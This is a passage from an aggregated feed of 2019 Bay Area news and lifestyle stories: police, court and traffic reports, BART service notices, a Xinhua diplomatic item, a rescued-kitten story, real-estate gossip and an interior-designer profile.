winds will be 10 to 20 mph. Friday night will be partly cloudy with lows will be in the lower 50s. Southwest winds will be 10 to 20 mph. Saturday will be mostly cloudy in the morning before becoming partly cloudy. Highs will be in the 60s to the lower 70s. Southwest winds will be 5 to 10 mph, increasing to 10 to 20 mph in the afternoon. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Police in Fremont closed an intersection on Friday following a report of two barricaded suspects, both believed to be armed. The two suspects are inside the Mission Peak Lodge on Mission Boulevard and refusing to come out, police said around 1:50 p.m. The police's SWAT Team has responded to the scene. Mission Boulevard between Anza and Pine streets has been closed in both directions, according to police. Fremont police released body and dashboard camera footage Friday from last week's officer involved shooting death of a man suspected of trying to ambush and kill Officer Ryan Lobue. The footage from Lobue's dashboard camera shows the moment when 30-year-old Michael Allen Felch of Fremont appears to initially open fire on Lobue as the officer was driving his marked patrol car past the suspect on Civic Center Drive near the Washington Hospital emergency room on the night of April 18. Lobue's camera also shows him turning his car around to head back into the area where Felch first opened fire. There is no clear footage of Lobue getting out of his vehicle, armed with his service rifle, and firing at and striking Felch, who fell to the ground shortly before two other officers arrived on the scene. The dashboard camera from the patrol car of the two officers who quickly arrived to give Lobue backup, James Taylor and Jennifer Allsup, shows Felch being struck by a barrage of bullets and then laying still on the ground afterward. In the footage, Allsup and Taylor can clearly be heard yelling at Felch to raise his hands before he reaches out to grab the .40 caliber Smith & Wesson handgun that he had dropped after being shot by Lobue. Felch was pronounced dead at the scene shortly after 11 p.m., about 17 minutes after he first opened fire, and appears to have been struck at least 10 times by the officers' gunfire, according to Fremont police officials. It appears that Felch, who had several prior arrests, held a grudge against law enforcement officers and during a confrontation with Alameda County sheriff's deputies in February said he was "going to get a gun and shoot the first cop he saw," according to Fremont Police Chief Kimberly Petersen. Petersen told reporters at a press conference Friday that when Lobue first came under fire from Felch, the officer thought he might have stumbled onto an active shooter situation, with the nearby hospital being a possible target. "Our officers were victims of an armed suspect who intentionally ambushed them and tried to kill them," Petersen said. "Had our officers not acted decisively and with the appropriate level of force, this incident very likely would have resulted in multiple innocent victims being shot or killed." Petersen said that Felch's mother has been cooperating with the investigation and is "devastated by the actions of her son, devastated by the loss of her son." Petersen also said that his mother had asked that the video not be released to the public. "She does not want the world to see her son's actions," Petersen said. "Nor does she want the world to see him being killed on TV." California law requires law enforcement agencies to release body camera footage of officer-involved shootings in a timely manner. Felch's prior contact with police include arrests for battery on a police officer, resisting arrest, assault with a deadly weapon, vandalism, DUI and drug possession, according to Petersen. This was Fremont's first officer-involved shooting of 2019. A woman and her infant escaped serious injuries Friday morning in San Francisco after a vehicle involved in a collision clipped them as they were on the sidewalk, police said. Around 9:50 a.m., officers responded to a report of a collision involving two vehicles and two pedestrians near Clarendon Avenue and Johnstone Drive in the city's Clarendon Heights neighborhood. There, officers learned that two vehicles became involved in a collision. One of the vehicles then made contact with a woman who was walking while pushing a stroller that contained an infant, according to police spokesman Officer Joseph Tomlinson. The woman and the infant were taken to the hospital with injuries not considered life-threatening, he said. The two drivers involved in the collision stayed at the scene and are cooperating with the investigation. It was not immediately clear if the drivers suffered any injuries. According to Tomlinson, the collision remains under investigation. Oakland police on Thursday announced there will be a large contingency of law enforcement officers dedicated to illegal sideshow activity this weekend. Air support and other regional law enforcement partners will accompany police during an effort to deter and take enforcement action related to sideshows, according to the Oakland Police Department. Sideshows generally consist of informal demonstrations of automotive stunts including cars spinning donuts and skidding. The events are usually held in the street while surrounded by onlookers. Police plan to take enforcement action that includes issuing citations, making arrests and towing vehicles, according to the police department. Police in Berkeley are seeking a male suspect who allegedly punched a man, and then kicked him repeatedly near People's Park on Thursday night. According to police, the incident occurred around 10:15 p.m. in the 2500 block of Dwight Way. The victim told officers he was standing outside a business talking to an acquaintance when the suspect approached him and began asking him questions. When the victim didn't answer the questions, the suspect began punching him in the face. The victim then fell to the ground and the suspect kicked him repeatedly in the stomach and face, police said. The victim suffered a laceration to his face and he was taken to a hospital. Officers were unable to locate the suspect, police said. A description of him was not immediately available. A man who died in a car crash Thursday morning in Santa Clara has been identified by the Santa Clara County medical examiner's office as 22-year-old Sunnyvale resident Luis Miranda Castro. Miranda Castro died in a crash reported at 9:48 a.m. at Saratoga Avenue and Los Padres Boulevard. His black Ford Fusion struck a blue Ford Focus that had turned right from Los Padres onto westbound Saratoga, police said. The Fusion rolled over, hit a tree in the center median and came to rest against a parked car. The Focus also hit a parked car, according to police. Miranda Castro was taken to Santa Clara Valley Medical Center, where he later died. The 77-year-old man driving the Focus only had a complaint of pain, police said. Port of Oakland commissioners voted Thursday to approve a plan to reduce the impact of big rig trucks moving though West Oakland. The five-year plan, drafted in cooperation with the City of Oakland, aims to improve safety at key intersections leading into and out of the port and the former Oakland Army Base, funnel big rigs onto designated truck routes and further restrict where trucks and trailers can be parked. The unanimous vote allows the port's executive director to move forward with the West Oakland Truck Management Plan, which would guide where trucks can enter the port, implement safety measures like high-visibility crosswalks at intersections and establish strict limits on truck parking in commercial and industrial areas that border residential neighborhoods. The port commissioners allocated $2.35 million to implement the plan. Additional funding is anticipated to come from developers with projects in the city's portion of the former army base, according to port officials. "With this plan we are keeping our promise to minimize the impact of containerized cargo transportation in Oakland," said Port of Oakland Environmental Planner Andrea Gardner, one of the plan's authors. City of Oakland parking enforcement officers will be responsible for enforcing any new parking restrictions in the neighborhood and Oakland police will enforce compliance with the truck-route regulations. The plan was drafted after city and port officials held several public workshops on the topic. Police in Oakland arrested a man Thursday after he reportedly carjacked a vehicle and intentionally drove it into the Highland Children's Center. On Thursday at 2:57 p.m., the Oakland Police Department was notified of a carjacking that had just occurred in the 1300 block of 86th Avenue. Police said the suspect then intentionally drove across the street and into the preschool. During the incident, the suspect drove onto the sidewalk, rammed the school's exterior gate several times and crashed into the exterior wall of the school. Police responding to the scene were able to take the suspect into custody as he tried to flee the area on foot. There were no children injured in the incident, but a woman, who was a staff member at the school, was injured. Police said the suspect has children who attend the school, and there was an active stay-away order against the suspect initiated by the school. The identity of the suspect was not immediately available Thursday night. BART is reminding riders of weekend closures starting this Saturday between the Concord and Pleasant Hill/Contra Costa Centre stations so crews can replace the aging trackway there. That portion of the track will be closed Saturday and Sunday, as well as May 11-12, the three-day Memorial Day weekend on May 25-27, and June 8-9. Free buses provided by the County Connection agency will take riders between the two stations. Riders should expect to add 20 minutes to the normal time of their planned trip through the area, according to BART. People who would normally park at the Pittsburg/Bay Point, North Concord or Concord stations can also just park at the Pleasant Hill station to avoid the bus bridge. The closure will allow BART crews to replace the nearly 50-year-old track between the two stations, as well as electrical and train control equipment and a drainage system, BART officials said. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. OAKLAND (BCN) A British man with mental health issues was sentenced on Wednesday to 5 years in state prison for choking an on-duty Berkeley mental health employee and taking her car at a grocery store parking lot two years ago. Eric Bruylant, 26, pleaded no contest to attempted murder on Jan. 25 for the attack at the lot at the Whole Foods store at 1025 Gilman St. at about 10:30 p.m. on April 23, 2017. Berkeley police said the city Mental Health Division employee, who works with the city's Police Department, had responded to a call in the area and was sitting in her car in the parking lot when Bruylant tried to open her door and then forced his way into her car. Bruylant choked the woman repeatedly and she later told investigators that she was starting to lose consciousness, according to police. But the employee eventually was able to free herself from Bruylant's grasp and get out of the car, police said. Bruylant drove off in the woman's city-owned car but then crashed it in the store's parking lot. Bruylant fled on foot but officers arrested him nearby in the 1200 block of 10th Street. The mental health employee was treated for choking-related injuries and released. Bruylant's attorney Elena Condes wrote in a sentencing memo to Alameda County Superior Court Judge James Cramer, "It is clear that Mr. Bruylant was suffering from a psychotic break prior to the events that led to his arrest." Condes said, "Mr. Bruylant has a family history of schizophrenia as his father was diagnosed with schizophrenia and when Mr. Bruylant was 20 his father hanged himself from a tree in a park." Condes said Bruylant was born and lived in the United Kingdom but came to the Bay Area on a short-term visa to work on a startup "related to effective altruism." The defense attorney said Bruylant "repeatedly asked for psychiatric help" on the day of the attack. Bruylant wrote a letter to the victim in which he said, "I'm sorry. I know it's inadequate but I am utterly abjectly sorry. And horrified that I let myself get to a state where I could do something so terrible to an innocent stranger." Bruylant said, "I don't know if you already know but I attempted suicide twice in part because I feared I was a danger to others due to unstable violent thoughts." Bruylant's mother Lief Bruylant wrote in a letter to the court that Bruylant "struggled with depression" after his father killed himself and she was diagnosed with cancer one month later. Condes and Bruylant's mother asked Judge Cramer to recommend that Bruylant be classified as an international prisoner so that he could serve his time in England, where he would be closer to his family and friends and have access to psychiatric help. But Cramer denied that request. However, he recommended that Bruylant participate in a mental health program while he's in state prison. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. NAPA (BCN) A Solano County man faces 25 years to life in prison after he was convicted Wednesday of the rape and kidnapping of his former girlfriend, according to the Napa County District Attorney's Office. Aniceto Landa Alarcon drove his ex-girlfriend to a remote area of Napa County on Feb. 12, 2018, and beat and sexually assaulted her at knifepoint. A passerby who interrupted the sexual assault called 911, prosecutors said. Alarcon, who lived in Fairfield and had ties to Vallejo, was convicted of forcible rape, kidnapping for rape, criminal threats, and among other crimes, assault with a deadly weapon. The jury also found true special allegations of aggravated kidnapping, kidnapping in the commission of rape and personal use of a deadly weapon. "This case involved some of the most sick and violent behavior imaginable," Deputy District Attorney Agnes Dziadur said in a news release. "This defendant wielded his coercive control over the survivor in a remote area of Napa County against her will, produced a knife, beat her, threatened her and sexually assaulted her," Dziadur said. Alarcon is scheduled for sentencing May 22. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SALINAS (BCN) A Salinas man has pleaded no contest in an insurance fraud case related to worker's compensation insurance, Monterey County District Attorney Jeannine Pacioni announced Thursday. German Cruz-Navarro, 43, pleaded no contest to committing insurance fraud on the California State Compensation Insurance Fund, prosecutors said. In September of 2016, Cruz-Navarro suffered an injury while working for his employer. Despite returning to work as a roofer with different employers two months after his reported injury, he told doctors and his insurance adjuster he was unable to work due to pain and symptoms from the injury, prosecutors said. In the 14 months after his injury, Cruz-Navarro received nearly $30,000 in temporary disability payments from his employer's worker's compensation insurance provider. During the investigation, Cruz-Navarro admitted he resumed work without telling his doctors or his insurance adjuster and admitted he knew he would lose his temporary disability benefits if he disclosed his employment, prosecutors said. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Getty Images No children were injured Thursday when a vehicle crashed into the Highland Children's Center in Oakland, police said. As of 3:59 p.m. police said parents can pick up their children at 86th Avenue and A Street because some streets are closed. The Highland Children's Center is at 1322 86th Avenue. Police said the driver of the vehicle was arrested and one adult was injured. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. FREMONT (BCN) Fremont police released body and dashboard camera footage Friday from last week's officer involved shooting death of a man suspected of trying to ambush and kill Officer Ryan Lobue. The footage from Lobue's dashboard camera shows the moment when 30-year-old Michael Allen Felch of Fremont appears to initially open fire on Lobue as the officer was driving his marked patrol car past the suspect on Civic Center Drive near the Washington Hospital emergency room on the night of April 18. Lobue's camera also shows him turning his car around to head back into the area where Felch first opened fire. There is no clear footage of Lobue getting out of his vehicle, armed with his service rifle, and firing at and striking Felch, who fell to the ground shortly before two other officers arrived on the scene. The dashboard camera from the patrol car of the two officers who quickly arrived to give Lobue backup, James Taylor and Jennifer Allsup, shows Felch being struck by a barrage of bullets and then laying still on the ground afterward. In the footage, Allsup and Taylor can clearly be heard yelling at Felch to raise his hands before he reaches out to grab the .40 caliber Smith & Wesson handgun that he had dropped after being shot by Lobue. Felch was pronounced dead at the scene shortly after 11 p.m., about 17 minutes after he first opened fire, and appears to have been struck at least 10 times by the officers' gunfire, according to Fremont police officials. It appears that Felch, who had several prior arrests, held a grudge against law enforcement officers and during a confrontation with Alameda County sheriff's deputies in February said he was "going to get a gun and shoot the first cop he saw," according to Fremont Police Chief Kimberly Petersen. Petersen told reporters at a press conference Friday that when Lobue first came under fire from Felch, the officer thought he might have stumbled onto an active shooter situation, with the nearby hospital being a possible target. "Our officers were victims of an armed suspect who intentionally ambushed them and tried to kill them," Petersen said. "Had our officers not acted decisively and with the appropriate level of force, this incident very likely would have resulted in multiple innocent victims being shot or killed." Petersen said that Felch's mother has been cooperating with the investigation and is "devastated by the actions of her son, devastated by the loss of her son." Petersen also said that his mother had asked that the video not be released to the public. "She does not want the world to see her son's actions," Petersen said. "Nor does she want the world to see him being killed on TV." California law requires law enforcement agencies to release body camera footage of officer-involved shootings in a timely manner. Felch's prior contact with police include arrests for battery on a police officer, resisting arrest, assault with a deadly weapon, vandalism, DUI and drug possession, according to Petersen. This was Fremont's first officer-involved shooting of 2019. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. PALO ALTO (BCN) Palo Alto police are searching for a man who allegedly robbed a 7-Eleven store at gunpoint early Wednesday morning. The suspect walked into the store at 708 Colorado Ave. while an employee in his 20s was mopping the floor, revealed a semi-automatic handgun from under his clothing and demanded money from the cash register. He then ran away with the money, heading east on Colorado, according to police. The employee described the suspect to police, saying he was in his 20s, 5 feet 7 inches tall and had a thin build. He was wearing a black hooded sweatshirt, black pants, red shoes, purple gloves and a red bandana covering his face. Police were able to obtain only a low-quality image from surveillance cameras. Police are trying to determine if the suspect is connected to robberies in areas near the Midtown 7-Eleven. Anyone with information is asked to call police dispatch at (650) 329-2413 or email an anonymous tip to paloalto@tipnow.org. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. The BART Board of Directors approved a policy Thursday to govern the installation and use of cameras that can capture images of vehicle license plates at the transit system's parking lots and garages. The board at its meeting in Oakland voted unanimously to approve the policy that, in the wake of BART's aborted previous attempt in 2016, seeks to balance security improvements with privacy protections. The approved policy states that the cameras will operate 24 hours a day and will be used "for BART criminal investigations and to monitor activity to protect against harm to persons and property." The Santa Clara County District Attorney's Office on Thursday charged 34-year-old Isaiah Peoples with eight counts of attempted murder in a Tuesday evening Sunnyvale crash that left a 13-year-old girl in critical condition and injured seven other people. Peoples is a war veteran who was honorably discharged from the U.S. Army in 2006. He allegedly drove his vehicle intentionally into a crowd of people on El Camino Real Tuesday evening, according to the Sunnyvale Department of Public Safety. In a charging document, prosecutors list eight counts of attempted murder with enhancements for causing great bodily injury, willful premeditation and using a vehicle in commission of the crime. If he is convicted, Peoples will not be eligible for probation due to his alleged use of a deadly weapon. The crash happened at El Camino Real and Saratoga Sunnyvale Road around 6:40 p.m. Tuesday. Peoples had picked up food and was taking it to his bible study group when he drove a black, four-door sedan into a group of pedestrians at a crosswalk and sidewalk, Chief Phan Ngo said. University of California at Berkeley is hosting a #BirddayParty Thursday after Annie and Grinnell, the peregrine falcons that have set up household atop the campus' iconic Campanile bell tower, welcomed three new chicks to their nest this week. The due date for the hatchings was Thursday but Mother Nature intervened a day early for two of the chicks. The third chick then began working its way out of its egg Thursday morning. The hatchings were captured live on the Campanile's nest cam, available on YouTube at https://www.youtube.com/watch?v=EaJuC-rxVAQ, and are being live-streamed until 6 p.m. on the massive outdoor screen at the Berkeley Art Museum and Pacific Film Archive at Addison and Oxford streets in downtown Berkeley. Manohar Raju has been sworn-in as San Francisco's newest public defender -- the city's first Indian American to be appointed to the position -- just two months after the sudden death of former Public Defender Jeff Adachi. During Raju's swearing-in ceremony Thursday at the Ella Hill Hutch Community Center in the city's Western Addition neighborhood, several city officials were in attendance, including Mayor London Breed, who hosted the ceremony. Raju is set to serve as public defender until this November's election, when voters will decide whether to choose him to serve the remaining three years of Adachi's term. San Francisco's public defender is the only one in California to be elected to office. A three-alarm fire destroyed a home in Pittsburg on Thursday afternoon as well as a recreational vehicle on a neighboring property, a Contra Costa County Fire Protection District spokesman said. Firefighters responded at 12:48 p.m. to a report of a fire at a home on Sunnyhill Way and arrived to find the structure and much of the backyard engulfed in flames, fire district spokesman Steve Hill said. Because of the spread of flames and windy conditions in the area, "it was a pretty risky situation" and a second and third alarm were called to bring more resources to the scene, Hill said. The flames got beyond the property to a neighboring one where the RV went up in flames. However, crews were able to stop the fire before it spread to the neighboring home, which only suffered minor damage from embers on the roof, according to Hill. The blaze was extinguished in less than 30 minutes with no injuries reported to residents or firefighters. Twelve people lived at the home that burned, but the residents home at the time were able to evacuate safely, Hill said. A double-trailer gasoline tanker that overturned on its side on a rural Napa County Road caused the closure of state Highway 29 Thursday, the California Highway Patrol said. The crash on Old Lawley Toll Road 2 miles north of Calistoga was reported around 10:45 a.m. According to the Napa County Office of Emergency, Highway 29 is closed from Tubbs Lane in Napa County to Bradford Road in Lake County, and motorists need to find an alternate route to Lake County. The driver of the tanker said it was fully loaded, the CHP said. Caltrans crews estimated the highway would be closed until midnight, according to the CHP. A 15-year-old boy suffered life-threatening injuries Wednesday afternoon when someone came up from behind him and punched him several times at a bus stop in San Francisco, police said. The assault was reported at 1:21 p.m. in the 4700 block of Mission Street near the Excelsior neighborhood. The suspect approached the teen from behind and punched him, knocking him to the ground, then continued punching him several more times, according to police. The suspect then fled and remains at large. The victim was taken to a hospital and an update on his condition was not immediately available Thursday morning. A security guard who works for the San Francisco Giants won the right from the California Supreme Court Thursday to have a pay dispute decided under state labor law rather than mandatory arbitration. The state high court in San Francisco unanimously ruled that security guard George Melendez could pursue his claim of a violation of the state Labor Code in San Francisco Superior Court. The panel rejected the Giants' argument that the case was governed by federal law and the guards' union contract, which requires arbitration of disputes. The state Supreme Court did not decide the outcome of the underlying dispute about the timing of end-of-season paychecks, and instead left the issue to be determined in Superior Court. In the underlying case, Melendez claims the termination of his work at the end of each season amounts to a discharge or layoff, and is subject to a labor law provision requiring immediate payment. The Sonoma County District Attorney's Office again delayed filing charges Thursday against a Cloverdale High School special needs students' teacher who was arrested in March for allegedly running a "fight club" in class. The District Attorney's Office asked Judge Jamie Thistlethwaite for 60 more days to investigate the case. The next court date is June 28. Cloverdale police said high school officials informed them on March 7 about an alleged fight in a classroom. Police said they then learned about a "fight club"-style atmosphere that teacher Federico Vargas created for students and hid from the administration. Vargas, his attorney Justin Petersen, his wife, mother and other supporters vehemently denied the allegations after the court hearing Thursday morning. They said the allegations came as a shock. A 52-year-old man was shot and another man was pistol-whipped during a robbery at an illegal gambling parlor in Oakland's Eastlake district on Tuesday night, police said. The robbery and shooting was reported at the gambling club in the 1100 block of International Boulevard at 11:24 p.m. Tuesday, according to police. The man who was shot is being treated for a gunshot wound and the man who was pistol-whipped suffered redness to his forehead. The two suspects in the case stole cash but police did not disclose the amount. The suspects remain at large. Xin Hoang, 32, of Union City, was fatally shot outside the same illegal gambling club at about 2:20 a.m. last Aug. 26. A 34-year-old San Diego man was arrested Tuesday after allegedly vandalizing several vehicles in Menlo Park, shouting racial epithets at a man who intervened and then threatened and struggled against officers who detained him, prosecutors said. At about 1:15 p.m. Tuesday, Cole Hoffman was seen vandalizing parked cars along Bohannon Drive, located off Marsh Road near U.S. Highway 101, according to the San Mateo County District Attorney's Office. A 34-year-old African American man came out and saw Hoffman allegedly kick the fender of his car and confronted him, causing Hoffman to allegedly threaten to "slice and stab" the victim while calling him numerous racial epithets and yelling "white power," prosecutors said. The victim ran away and called police. Officers responded and found Hoffman had allegedly damaged 10 separate vehicles that had broken windows, damaged wipers and dents. Hoffman was arraigned Wednesday in Redwood City, pleading not guilty to charges of vandalism, criminal threats and resisting arrest. The county Private Defender Program was appointed to represent him and he will return to court on May 7 for a preliminary hearing, prosecutors said. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SAN BRUNO (BCN) Police in San Bruno on Wednesday arrested a woman on suspicion of crimes related to a human trafficking case. Police said Maria Delosreyes, 45, and her husband brought a female victim to the U.S. from another country and forced her into unreasonable servitude with little or no compensation. The suspects also threatened the victim with deportation and other consequences for her family abroad. An investigation into the incident began in 2016, and Delosreyes and her husband subsequently fled the country, according to police. Investigators recently learned Delosreyes had since returned to the U.S. and police were able to secure a warrant for her arrest. She was taken into custody without incident. Her husband remains outstanding, and investigators believe he is in the Philippines. Anyone with information about this case is asked to contact the San Bruno Police Department at (650) 616-7100. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Chinese President Xi Jinping (R) meets with Belarusian President Alexander Lukashenko, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with Belarusian President Alexander Lukashenko, who is here to attend the Second Belt and Road Forum for International Cooperation. Noting that China and Belarus are all-weather friends, Xi said the China-Belarus comprehensive strategic partnership, featuring mutual trust and win-win cooperation, has been at a high level in recent years. The two countries have made fruitful achievements in jointly building the Belt and Road, with the China-Belarus industrial park becoming a model project, he said, adding that the bilateral pragmatic cooperation has been elevated to a new level. Xi said the two sides should put more efforts in aligning the Belt and Road Initiative with the development strategy of Belarus, jointly promote the industrial park construction, and continuously and pragmatically deepen their cooperation in economy and trade, investment, tourism and education, and at local levels. Lukashenko expressed congratulations on the 70th founding anniversary of the People's Republic of China, saying that Belarus has deep trust in China and will always be China's most trustworthy friend. Belarus is willing to further strengthen mutual support with China, and the Belt and Road Forum for International Cooperation has become an important platform for like-minded countries to discuss cooperation, he said. Belarus is a staunch supporter and participant of the Belt and Road cooperation, and is willing to maintain the demonstrative effect of the China-Belarus industrial park, so as to promote the jointly building of the Belt and Road in Eurasia, said Lukashenko. The two leaders then witnessed the signing of bilateral cooperation documents, and jointly unveiled the models of China-assisted stadium and natatorium in Belarus. 2 1 [ Editor: Zhang Zhou ] A resilient kitten has found a new home with a Sacramento firefighter after weathering a scary (and likely very hot) drive inside the engine compartment of a Ford Fusion. According to the Sacramento Fire Department, the owners of the car had come from Salinas and parked their car at the Arden Fair Mall. They heard a cat "meowing really aggressively," says Sacramento Fire Department spokesperson Keith Wade, and became concerned. RELATED: Scientists help produce 2 litters of endangered ocelot kittens When they pulled over, they found the cat a very small, gray kitten stuck inside the engine compartment where they couldn't reach it. They called the fire department and officers were able to extricate it in 15 minutes with the Jaws of Life. It didn't take long for the kitten to capture the heart and attention of firefighter Taylor LeClaire, who decided to adopt it. Wade said the cat, which they named Clutch, was a bit shook up but "was very playful and excited to be free." RELATED: Shelter opens for older dogs that don't get adopted It's not clear how long Clutch was trapped inside the car, or if the owners of the car had stopped anywhere during the 180-mile drive where it might have jumped aboard. It wouldn't be the first time a cat has survived such a long ride, but with temperatures in the 70s and 80s this week across Northern California, it was likely a very difficult trip for the kitten. Nevertheless, Wade believes Clutch to be in good health, adding that they took it to a vet after some local organizations offered to vaccinate it. Alyssa Pereira is an SFGATE staff writer. Email her at apereira@sfchronicle.com or find her on Twitter at @alyspereira. BYOB could soon take on a whole new meaning in California offices: Bring your own baby. Yes, soon every day could be Bring Your Child to Work Day at some state agencies, should a bill under consideration in the state legislature creating a pilot "Infant at Work" program be adopted. The bill, AB 372, was introduced by Assemblyman Randy Voepel, R-Santee (San Diego County), in February, and an amended version was passed from committee on Thursday. It comes partially as a response to sky-high childcare costs throughout California. MORE: Americans among most stressed people in the world, poll finds In its current form, the bill would create an "Infant at Work" pilot program lasting from January 1, 2020 to January 1, 2022. State agencies could opt into participation in the program; it would not be compulsory. Employers would be required to establish eligibility criteria and applications for their workers to bring their babies to work. Babies would be eligible from ages six weeks to six months old, or until they start crawling, whichever comes first. The bill text states the hope that the policy might encourage employees to more quickly return to work after giving birth, while also encouraging breastfeeding and improving infant bonding time among new parents. It has garnered support from the American Academy of Pediatrics, California and the California Association of Professional Scientists. ALSO: New California laws you need to know about Analysis of the bill by the Assembly Committee on Public Employment and Retirement expressed some concern that babies may "disrupt the work environment." Voepel, however, seems unperturbed. Should a problem baby present him or herself, supervisors could terminate the program, with the fact that it's a pilot program letting them off the hook, Voepel explained to the Fresno Bee. "If the infant doesn't fit in, the supervisor can say, 'It's not working, we're not doing it anymore,' since it's a pilot program," he explained. Voepel told the Bee he got the idea from his nearly four-decade career as a private sector insurance broker, in an office setting where it was common for employees to bring babies to work. "The whole office ends up adopting the child," he said. You know what they say: It takes a village of insurance brokers to raise a child. A similar bill was introduced last session. It made it out of the Assembly but stalled in committee in the Senate. Infant at Work programs currently exist in states including Kansas, Nevada, Arizona and Washington. Donald Trump Jr. really loves his guns. The president's oldest son almost passed on a luxurious vacation mansion in the Hamptons because it was missing a dedicated room to store his voluminous collection of firearms, according to the New York Post. But Trump, 41, and his girlfriend, former Fox News host Kimberly Guilfoyle, 50, decided to take the $4.5 million home in Bridgehampton, NY, anyway. The National Rifle Association supporter plans to add a custom gun room to the seven-bedroom home in the ritzy enclave outside of New York City. The house is now under contract, according to the Post. He went turkey hunting before joining his father at the NRA's annual meeting on Friday in Indianapolis, according to USA Today. The 9,200-square-foot home in a gated community sits on 3.9 acres boasting a heated pool with a waterfall and access to a 25-acre kettle pond. The couple and their respective kids can walk to the beach or to the nearby restaurants and shops. The mansion is big enough to accommodate Trump's five children and Guilfoyle's son. Trump, executive vice president at his father's real estate company the Trump Organization, and his wife of 12 years, Vanessa Trump, divorced last year. Guilfoyle was married twice, including to former Democratic Mayor of San Francisco Gavin Newsom. The president's son made real estate news last spring when he and his brother Eric Trump reportedly bought their aunt Maryanne Trump Barry's $18.5 million Palm Beach, FL, mansion. They then turned around and rented it out for $100,000 a month. The waterfront property, initially listed for $23.9 million, is across the street from their father's favorite getaway, Mar-a-Lago. The brothers are linked to the 1125 South Ocean LLC, which purchased the mansion. Donald Trump Jr. and Kimberly Guilfoyle are reportedly under contract to purchase this Hamptons home. realtor.com The post Donald Trump Jr. Almost Didn't Buy This Mansion Because It Didn't Have a Gun Room appeared first on Real Estate News & Insights | realtor.com. It all started with a pillow. Jennifer Jones wanted to give a friend a birthday gift, so she designed and sewed a linen pillow with a graphic applique. The pillow received rave reviews from everyone at the party, leaving the then graphic designer thinking about a career change. She started crafting pillows and selling them independently while also taking drafting classes at UC Berkeleys extension program before spending a few years working as a design assistant. Jones then opened Niche Interiors in 2007 as a full-service interior design firm where she and her three other designers conceptualize interiors, carefully select material palettes and custom-design furniture. Her portfolio includes projects in Russian Hill, Telegraph Hill, Noe Valley, Atherton, Woodside and Mountain View, to name a few. Niche Interior enjoys scores of satisfied clients, and Jones said the boutique firm tries not to take on more than eight projects at a time to keep things from getting overwhelming. Though its location has changed several times, Niche Interiors has always remained in close proximity to the San Francisco Design Center. That nearness has helped Jones build a robust Rolodex of tradespeople, woodworkers, artisans and metalworkers who help build custom pieces with environmentally friendly materials like beds upholstered in organic wool, steel fireplace surrounds and tables fabricated from Lucite and FSC-certified walnut. Basically everything we make is made less than a mile from where our office is, Jones said of Niche Interiors custom furnishings. We could not do what we do without talented craftspeople. For the past few years, the firm has been rooted on Potrero Hill, and Jones recently opened a satellite office in Glen Ellen to be near Niche Interiors projects in Wine Country. Born in Davis, Jones family migrated to Folsom while she was in middle school. She returned to Davis for college, earning a bachelor of science degree in design from UC Davis. Shes also studied art history in Rome. Details Company: Niche Interiors Principal: Jennifer Jones. About: Started in 2007, Niche Interiors provides full-service interior design and crafts custom furniture. As a LEED Accredited Designer, principal Jennifer Jones places a high emphasis on sustainability and eco-friendly materials and practices. Her portfolio includes work in San Francisco neighborhoods like Russian Hill, Telegraph Hill and Noe Valley, as well as South Bay Peninsula cities like Woodside, Atherton and Mountain View. See More Collapse Jones is a LEED Accredited Designer, a designation reflecting her proficiency in sustainable design, operations and construction. Married, and a mom to a child and a rescued Australian cattle dog, Jones said she always dreamed of making it big in the city. I always aspired to be in San Francisco, she said. Q: Whats a piece of technology that you cant imagine doing business without? A: It would have to be our iPad. We have the newest one with the biggest screen and a stylus pen. Its been a game changer. Our designers are able to sketch and share ideas on furniture and interiors, and its easy for the team to make notes and easily revise. I cant imagine living without it. Well take it to client meetings as well, but we mainly use it internally to share ideas with each other. Designs are constantly revised, and the technology saves a lot of time. Q: What is your favorite neighborhood or region to work in? A: Do I have to choose one? Obviously San Francisco is our home base, so Im fond of Pacific Heights, Noe Valley and Telegraph Hill. I also love working on the Peninsula. Our Potrero Hill office is right off Interstate 280, and its a scenic drive and the homes there are generally bigger. Weve also recently opened a satellite office in Glen Ellen for our Wine Country projects. And its the most idyllic commute. Q: What are your favorite types of homes or architectural styles to work on? A: Id say collaborating with architects on modern homes is at the top of my list. I love to see a project start at conception and be in at the beginning of a ground-up project or major renovation. When architecture, interior design and landscape design are aligned, something really spectacular happens. For more information, visit www.niche interiors.com. Contact: Niche Interiors, 555 De Haro St., Suite 320, Potrero Hill, San Francisco, 415-749-0610, info@niche interiors.com. "Property Brothers" stars Jonathan and Drew Scott have met a lot of interesting clients, but a hunky firefighter who starred as Mr. February on a "Red Hot Firefighters" calendar? That may be a first! "It was for charity," Matt says with a laugh in the episode titled "Growing Boys, Grander House." Matt and his wife, Nicole, have three young boystwo of whom are twinsand suddenly the 1,200-square-foot starter home in Canada they bought six years ago feels more than a little cramped. Especially since it has three bedrooms and only one small bathroom. Jonathan thinks he can rip the dated '50s home apart and build it back up again for $70,000. If he can swing it, Drew estimates that their home can be sold for close to $800,000, rather than about $650,000 as is. Meanwhile, the burning question for Drew is whether or not he can find them a new home with more bathrooms in a neighborhood that's not too far from friends and family, on their budget of $925,000. It seems like a big ask, but if the Scott twins couldn't stand the heat, they wouldn't be in the kitchen. Along the way, they come up with some smart advice for the buyer and seller in all of us. Take a look! Give your kitchen island or peninsula an overhang for seating When Jonathan and Drew walk into the family's kitchen, they find a peninsula. But there isn't really room to pull up a chair, because of the shelves 